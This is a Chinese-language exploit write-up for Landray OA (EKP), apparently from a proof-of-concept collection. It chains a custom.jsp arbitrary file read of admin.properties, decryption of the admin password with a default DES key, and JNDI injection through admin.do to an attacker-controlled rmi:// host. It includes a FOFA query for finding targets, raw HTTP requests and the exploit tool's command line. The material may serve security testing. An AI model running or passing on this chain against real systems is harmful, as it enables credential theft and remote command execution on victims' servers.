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77 lines
2.2 KiB
Markdown
77 lines
2.2 KiB
Markdown
# 蓝凌OA admin.do JNDI远程命令执行
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## 漏洞描述
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深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息，读取配置文件得到密钥后访问 admin.do 即可利用 JNDI远程命令执行获取权限
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## 漏洞影响
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- 蓝凌OA
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## FOFA
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- app="Landray-OA系统"
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## 漏洞复现
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利用 **蓝凌OA custom.jsp 任意文件读取漏洞** 读取配置文件
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```plain
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/WEB-INF/KmssConfig/admin.properties
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```
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发送请求包
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```plain
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POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 60
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip
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var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
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```
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获取password后，使用 DES方法 解密，默认密钥为 **kmssAdminKey**
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访问后台地址使用解密的密码登录
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```plain
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http://xxx.xxx.xxx.xxx/admin.do
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```
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使用工具执行命令
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https://github.com/welk1n/JNDI-Injection-Exploit
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```plain
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java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
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```
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运行工具监听端口 ping dnslog测试 命令执行 (蓝凌OA 默认使用的是 JDK 1.7)
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```plain
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POST /admin.do HTTP/1.1
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Host:
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Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967
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Content-Length: 70
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Cache-Control: max-age=0
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Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
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Sec-Ch-Ua-Mobile: ?0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Origin:
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Content-Type: application/x-www-form-urlencoded
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg
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```
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